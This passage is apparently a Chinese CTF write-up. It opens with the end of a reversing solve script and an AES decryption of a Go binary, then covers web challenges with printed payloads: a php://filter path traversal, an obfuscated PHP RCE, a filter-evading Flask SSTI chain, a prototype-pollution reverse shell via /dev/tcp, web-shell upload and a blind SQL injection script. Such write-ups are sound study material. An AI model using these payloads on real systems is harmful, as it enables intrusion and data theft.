      227, 109]

dec1 = []

for i in range(4):
   seq = enc[(i * 8):(i * 8) + 8]
   x = int.from_bytes(seq, 'little', signed=False)
   y = x ^ (x >> 25)

   result = None

   for n in range(65525):
       dec = (y & ~0xFFFF) | n
       if dec ^ (dec >> 25) == x:
           result = dec
           break

   if result != None:
       dec1.extend(result.to_bytes(8, 'little', signed=False))
   else:
       print(f'{i} failed')

dec2 = []

for i in range(8):
   seq = dec1[(i * 4):(i * 4) + 4]
   x = int.from_bytes(seq, 'little')

   result = None

   for j in range(100000):
       dec = (x + 4062393413 * j) // 83987

       if (dec * 83987) % 4062393413 == x:
           dec = dec & 0xFFFFFFFF

           unp = dec.to_bytes(4, 'little', signed=False)
           good = True

           for c in unp:
               if (not islower(c)) and (not isdigit(c)):
                   good = False
                   break

           if good:
               result = unp
               break

   if result == None:
       print('failed')
   else:
       dec2.extend(result)

print(bytes(dec2).decode())

go

这部分学到的新东西比较多就稍微细写一下,刚开始的时候直接拉进 ida,属于是一团乱了,看字符串找 xref 也找不到 main 函数。然后网上搜了搜,用了现有的程序生成 go 的符号(我也不知道为什么用的最新最热 ida7.7 没识别出来 go),导入 ida 的脚本在仓库 readme 有写,然后找 main

https://github.com/mandiant/GoReSym

把这个 while 里面的 check debugger nop 掉,就可以挂调试器,看看里面到底是什么鬼玩意,local windows debugger 走一波

首先要说的就是,这个 golang 反编译出来属实看不懂,就硬干好了。

首先显而易见的是 key。 qmemcpy(v8, "12fe32ba87654321", 16);

然后就是iv,由于并没有明显的地方能看到 iv,于是去翻了下 go 的源码调用

https://sourcegraph.com/github.com/golang/go@master/-/blob/src/crypto/cipher/xor_amd64.go?L9%3A6=#tab=references

在这能看到传入了iv,那么就打断点看看

这是个内存地址,菜单view→open subviews→hex dump,jump→jump to address, 填入这个地址

那么这个应该就是iv了,和key一样,上面可能是个key?不清楚存的啥,然后写下脚本就行了。

找了个 njs 的现成脚本开摆(

const data = [
0x34, 0xC9, 0x05, 0xB3, 0x67, 0x81, 0xC8, 0xAD, 0x20, 0xC2, 0x2F, 0x07,
0x93, 0x03, 0xD6, 0x65, 0x7A, 0x2E, 0xBA, 0xF4, 0x7C, 0x71, 0x0B, 0xEC,
0xC4, 0x81, 0x34, 0xDA, 0xDC, 0xE9, 0x7E, 0xEE, 0x05, 0xCF, 0x21, 0xC7,
0xD9, 0x76, 0xE1, 0x76, 0x84, 0x82, 0xDE, 0xD9, 0xCB, 0x77, 0x5E, 0xA0
];

console.log(data)
const crypto = require('crypto')
let keyiv = Buffer.from('12fe32ba87654321')
console.log(keyiv)

const deci = crypto.createDecipheriv('aes-128-cbc', keyiv, keyiv)
let dec = deci.update(Buffer.from(data))
dec += deci.final()
console.log(dec)

Web

phpdest

Google 后两句搜到了原题

https://icode.best/i/65141543015333

Payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

base64 解码就可以了

EasyPHP

应该是需要数组绕过,post 传个参就 OK,详解

https://www.jianshu.com/p/8e3b9d056da6

SimpleRCE

异或被绕过了,那就取反

Payload:

aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

funny_upload

试了一会儿,然后感觉是图片前端验证,然后<php 被过滤了,搜到了一篇文章

https://www.anquanke.com/post/id/241147#h3-18

Payload1:

顺手把路径获取了,那就再传个图片 shell:

用蚁剑连一下:

EasySSTI

Google Flask SSTI 的利用 的时候看到了一篇文章

https://xz.aliyun.com/t/9584#toc-32

下面有个 Payload 试了下发现空格被过滤了,那就空格换换行

{%set
zero=(self|int)%}
{%set
one=(zero**zero)|int%}
{%set
two=(zero-one-one)|abs%}
{%set
four=(two*two)|int%}
{%set
five=(two*two*two)-one-one-one%}
{%set
three=five-one-one%}
{%set
nine=(two*two*two*two-five-one-one)%}
{%set
seven=(zero-one-one-five)|abs%}
{%set
point=self|float|string|min%}
{%set
space=self|string|min%}
{%set
c=dict(c=aa)|reverse|first%}
{%set
bfh=self|string|urlencode|first%}
{%set
bfhc=bfh~c%}
{%set
slas=bfhc%((four~seven)|int)%}
{%set
yin=bfhc%((three~nine)|int)%}
{%set
xhx=bfhc%((nine~five)|int)%}
{%set
right=bfhc%((four~one)|int)%}
{%set
left=bfhc%((four~zero)|int)%}
{%set
but=dict(buil=aa,tins=dd)|join%}
{%set
imp=dict(imp=aa,ort=dd)|join%}
{%set
pon=dict(po=aa,pen=dd)|join%}
{%set
so=dict(o=aa,s=dd)|join%}
{%set
ca=dict(ca=aa,t=dd)|join%}
{%set
flg=dict(fl=aa,ag=dd)|join%}
{%set
ev=dict(ev=aa,al=dd)|join%}
{%set
red=dict(re=aa,ad=dd)|join%}
{%set
bul=xhx~xhx~but~xhx~xhx%}
{%set
ini=dict(ini=aa,t=bb)|join%}
{%set
glo=dict(glo=aa,bals=bb)|join%}
{%set
itm=dict(ite=aa,ms=bb)|join%}
{%set
pld=xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%}
{{pld}}
{%for
f,v
in
(whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%}
{%if
f==bul%}
{%for
a,b
in
(v|attr(itm))()%}
{%if
a==ev%}
{{b(pld)}}
{%endif%}
{%endfor%}
{%endif%}
{%endfor%}

事后魔改了下 Payload,把靶机上部署的题目脱了下来,万一以后出题要用呢(

后面也基本靠 Google 了,不想写太多废话了

NodeSoEasy

一原型链,向来不会做这种题,去 Google 找点 Payload 看看。

然后这个题目的包版本刚好修了一个bug,有一些payload没法利用了,浪费我找文章的时间(

好在 escapeFunction 还是有的,也是反弹shell

参考的一些文章:

https://blog.p6.is/Real-World-JS-1/

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

{
"__proto__": {
"client": true,
"escapeFunction": "(a => a);\n process.mainModule.require('child_process').exec('bash -c \"bash -i &> /dev/tcp/ip/port 0>&1\"')"
}
}

ezip

刚开始以为是用文件名,比如 114514.zip\x00.php 之类的,然后发现不行。把 phpinfo() 加上 gif 的头,意识到根本不会执行。目录名随机所以竞争也不行,然后发现这是先解压,再删除的。

搞个坏掉的 zip 就行了,zip 里放点图片和一个 php,改掉图片的文件名,解压到一半失败,这样 php 能保留。

然后拿到 shell 之后发现 www-data 还读不了 flag,find 不知道为什么会卡住,只能自己 ls -la 看 bin 目录,然后看权限,cat 也被 ban 了,找到之后nl /flag就行了。

easysql

靶机还有rate limit,跑一下太坐牢了,一开始没有发现 429,跑了半天出不了结果。先 select 出 table 名字,原来想 sql 写 SELECT DATABASE() 的后来发现空格好像不行,在这卡了很久,直接从 information_schema 里取表明了,拿到flaggg,然后就好办了。再从 information_schema.columns 里面拿一下列名(py里面没存,懒得补了,和拿表名同理)

参考文章:https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

Payload:

import requests
import time
dic = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_'
url = 'http://282c62e2-4a1e-4e32-9f8f-931c9f84ce3e.node4.buuoj.cn:81/'
#sql = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.tables)where(table_schema=database())'
sql = 'select(group_concat(cmd))from(flaggg)'
result = ''
for i in range(1, 50):
for d in dic:
data = f"'OR(if(ascii(mid(({sql}),{i},1))={ord(d)},benchmark(10000000,md5(1)),114514))OR'"
res = requests.post(url, data={
"username": data,
"password": "114514"
})
time.sleep(0.3)
if res.elapsed.total_seconds() > 1:
result += d
break
print(result)

Payload 好像有点臭,这不重要(

理论上能跑 really easy sql 但是半天没跑出来就润了。

结语

来不及了,明天国赛之后有空补(

退出移动版